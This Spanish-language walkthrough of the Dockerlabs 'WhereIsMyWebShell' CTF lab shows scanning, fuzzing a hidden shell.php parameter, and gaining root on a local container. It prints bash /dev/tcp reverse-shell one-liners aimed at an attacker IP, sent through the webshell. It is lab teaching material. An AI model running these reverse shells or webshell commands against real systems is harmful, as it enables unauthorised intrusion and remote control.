NovaHacking
  • Whoami
  • Artículos
    • Panamá Papers
    • Tratamiento para la TTY
    • Introducción a la Ciberseguridad
    • Introducción al Buffer Overflow
    • Introducción al Pivoting
    • IDS - IPS (Suricata)
    • Colisión de Hash
    • RSA Cracker
  • Herramientas
    • Explotación
      • Hydra
      • pwncat-cs
    • Reconocimiento
      • Nmap
      • Arp scan
  • CTF
    • Dockerlabs
      • Amor
      • BreakMySSH
      • DockHackLab
      • FirstHacking
      • sjd
      • WhereIsMyWebShell
      • Dark
      • Queuemedic
      • Buffered
      • Pn
      • Canario
      • Domain
      • HereBash
  • Linux
    • 🐧Inicio Linux
Powered by GitBook
On this page
  1. CTF
  2. Dockerlabs

WhereIsMyWebShell

TAG -> Dockerlabs | CTF

Datos
  • Máquina -> WhereIsMyWebShell

  • Dificultad -> Fácil

  • Creador -> El Pingüino de Mario

Como siempre, primero que todo comprobamos conectividad con la maquina.

❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.115 ms
RR: 	172.17.0.1
		172.17.0.2
		172.17.0.2
		172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.115/0.115/0.115/0.000 ms

Respuesta exitosa y mediante el TTL intuimos que es una maquina Linux, así que después de crear nuestras carpetas de trabajo con mkt procedemos a hacer un escaneo primario.

❯ PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C -o recognition.txt

[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):

  [!] Puerto 80 abierto!
  [+] Port: 1000 / 1000 

[+] Lista de puertos abiertos: [80]
[+] Información de servicios y versiones:

  [+] 80/tcp    http      Apache httpd 2.4.57 ((Debian))

[+] Comprobando vulnerabilidades:

  [+] Tecnologías detectadas en HTTP:

        http://172.17.0.2:80 [200 OK] Apache[2.4.57],
        Country[RESERVED][ZZ],
        HTML5,
        HTTPServer[Debian Linux][Apache/2.4.57 (Debian)],
        IP[172.17.0.2],
        Title[Academia de Inglés (Inglis Academi)],

[*] Evidencia guardada en recognition.txt

Interesante, solo tiene el puerto 80 abierto, procedemos a ejecutar nmap para ver que podemos encontrar en este puerto.

❯ nmap -sCV -p 80 172.17.0.2 -oN targeted.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 00:23 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.17.0.2
Host is up (0.00026s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Academia de Ingl\xC3\xA9s (Inglis Academi)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.78 seconds

Nada fuera de lo común, intentamos escanear los puertos de nuevo de una forma mas agresiva con nmap.

❯ nmap -A --script http-headers 172.17.0.2 -oX xml -oN targeted_A.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 00:26 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.17.0.2
Host is up (0.023s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
| http-headers: 
|   Date: Sun, 13 Oct 2024 05:26:11 GMT
|   Server: Apache/2.4.57 (Debian)
|   Last-Modified: Fri, 12 Apr 2024 16:07:21 GMT
|   ETag: "9ce-615e87774c040"
|   Accept-Ranges: bytes
|   Content-Length: 2510
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

TRACEROUTE
HOP RTT      ADDRESS
1   23.36 ms 172.17.0.2

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds

Vemos que parece tener la pagina por defecto de Apache, pero en el anterior escaneo nos apareció en el titulo algo sobre una academia de ingles, así que intentamos un ultimo escaneo para ir a ver la pagina y hacer fuzzing.

❯ nmap -p 80 --script vuln 172.17.0.2 -oN webScan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 00:30 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.17.0.2
Host is up (0.00049s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 22.64 seconds

Nada interesante y después de ver la pagina, solo aparece la instalación de Apache por defecto, así que procedemos a hacer fuzzing con feroxbuster.

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 302, 301, 401]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      521l     2920w   254921c http://172.17.0.2/clase_ingles.jpg
200      GET      855l     4253w   327103c http://172.17.0.2/escuela.jpg
200      GET       91l      227w     2510c http://172.17.0.2/
[############>-------] - 2m    134691/220550  73s     found:3       errors:141    
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_172_17_0_2-1728797707.state ...

Escaneando por directorios nos aparece imágenes sobre clases de ingles y escuela, procedemos a escanear por archivos.

❯ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,zip --threads 200 --status-codes 200,302,301,401 --no-recursion

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 302, 301, 401]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, html, txt, zip]
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      855l     4253w   327103c http://172.17.0.2/escuela.jpg
200      GET      521l     2920w   254921c http://172.17.0.2/clase_ingles.jpg
200      GET       91l      227w     2510c http://172.17.0.2/
200      GET       91l      227w     2510c http://172.17.0.2/index.html
200      GET       11l       34w      315c http://172.17.0.2/warning.html
[###>----------------] - 3m    170189/1102750 15m     found:5       errors:203    
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_172_17_0_2-1728797900.state ...

Ahora entendemos de donde sale lo de la escuela de ingles, si vamos a estos 2 últimos enlaces, vemos que el index tiene la pagina de la escuela de ingles (Puede ser que mi explorador se quedo con cache y me da este error de redirección), al final nos habla de que tiene un secreto en el directorio tmp no es valido como enlace, podría ser que nos ayude en la escalada de privilegios, en el enlace de warning no dicen "Esta web ha sido atacada por otro hacker, pero su webshell tiene un parámetro que no recuerdo...", nuestra tarea es descubrir esa puerta trasera por decirlo así.

❯ ll
.rw-r--r-- root root 136 KB Fri Apr 12 10:57:58 2024  clase_ingles.jpg
.rw-r--r-- root root 176 KB Fri Apr 12 10:57:03 2024  escuela.jpg
❯ steghide extract -sf clase_ingles.jpg
Anotar salvoconducto: 
steghide: el formato del archivo "clase_ingles.jpg" no es reconocido.
❯ steghide extract -sf escuela.jpg
Anotar salvoconducto: 
steghide: no pude extraer ningn dato con ese salvoconducto!
❯ stegseek escuela.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Progress: 99.82% (133.2 MB)           
[!] error: Could not find a valid passphrase.

Después de descargar las imágenes con wget no parecen tener algo interesante, en este punto podemos enumerar, si volvemos a hacer fuzzing, pero esta vez, solo buscamos archivos php y ademas eliminamos el filtrado de código de estados de feroxbuster encontramos algo interesante.

❯ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php --threads 200 --no-recursion

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
500      GET        0l        0w        0c http://172.17.0.2/shell.php
200      GET      521l     2920w   254921c http://172.17.0.2/clase_ingles.jpg
200      GET      855l     4253w   327103c http://172.17.0.2/escuela.jpg
200      GET       91l      227w     2510c http://172.17.0.2/
[####################] - 48s   220550/220550  0s      found:4       errors:386   
[####################] - 48s   220548/220548  4592/s  http://172.17.0.2/ 

Procedemos a ver ese archivo shell.php intentamos hacer fuzzing al parámetro con wfuzz y después de esperar un rato por fin lo logramos.

❯ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=500 "http://172.17.0.2/shell.php?FUZZ=id"
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.17.0.2/shell.php?FUZZ=id
Total requests: 220562

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                
=====================================================================

000115403:   200        2 L      4 W        66 Ch       "parameter"                                                                                            
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 0
Processed Requests: 119800
Filtered Requests: 119799
Requests/sec.: 0

Casualidad que el parámetro sea parameter, usando el comando id nos devuelve un código 200, tambien pudimos haber usado FFuf, que consume menos recursos y tendríamos el mismo resultado.

❯ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2/shell.php?FUZZ=id" -t 14 -fc 500

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://172.17.0.2/shell.php?FUZZ=id
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 14
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 500
________________________________________________

parameter               [Status: 200, Size: 66, Words: 3, Lines: 3, Duration: 1ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Con esta información podemos obtener un RCE, podemos usar el siguiente comando.

❯ bat nota_2.txt
───────┬────────────────────────────────────────────────────────────────
      │ File: nota_2.txt
───────┼────────────────────────────────────────────────────────────────
  1   │ # Reverse shell
  2   │ 
  3   │ -> bash -i >& /dev/tcp/IP_ATACANTE/PUERTO 0>&1
  4   │ -> bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/PUERTO 0>&1'
───────┴────────────────────────────────────────────────────────────────

Usaremos el segundo comando y con mi función de urlencode, podemos hacer lo siguiente.

❯ urlencode "bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'"

[+] bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F172.17.0.1%2F1234+0%3E%261%27

La función es la siguiente (Agregar al .bashrc o .zshrc), necesario tener php:

# URL encode
function urlencode(){
  out=$(php -r 'print urlencode($argv[1]);' "$1")
  echo -e "\n[+] $out\n"
  echo -n "$out" | xclip -sel clip
}

Nos ponemos en escucha con nc en el puerto 1234, y pasamos el comando al servidor mediante la web shell.

❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 42436
bash: cannot set terminal process group (22): Inappropriate ioctl for device
bash: no job control in this shell
www-data@f47c599ec04e:/var/www/html$ 

Ya tenemos acceso a la maquina victima, aunque la escalada es fácil y rápida, le daremos un tratamiento a la TTY de la siguiente manera.

script /dev/null -c bash # Lo ejecutamos en la maquina victima
ctrl + z
stty raw -echo;fg # Lo ejecutamos en nuestra maquina
reset xterm # Lo escribimos en la maquina victima

stty size # Lo ejecutamos en nuestra maquina para saber nuestras dimensiones

Por ultimo sabiendo las dimensiones y si queremos una terminal de colores, podemos ejecutar el siguiente comando en la maquina victima.

stty rows 46 cols 168 && export TERM=xterm-256color SHELL=bash && source /etc/skel/.bashrc

Para la escalada de privilegios, recordemos que en el directorio /tmp nos dejaron una pista

www-data@f47c599ec04e:/var/www/html$ cat /tmp/.secret.txt 
contraseñaderoot123
www-data@f47c599ec04e:/var/www/html$ su root
Password: 
root@f47c599ec04e:/var/www/html# whoami
root
root@f47c599ec04e:/var/www/html# 

La pista en realidad es la contraseña de root, así que podemos dar por terminada esta maquina.

PrevioussjdNextDark

Last updated 4 months ago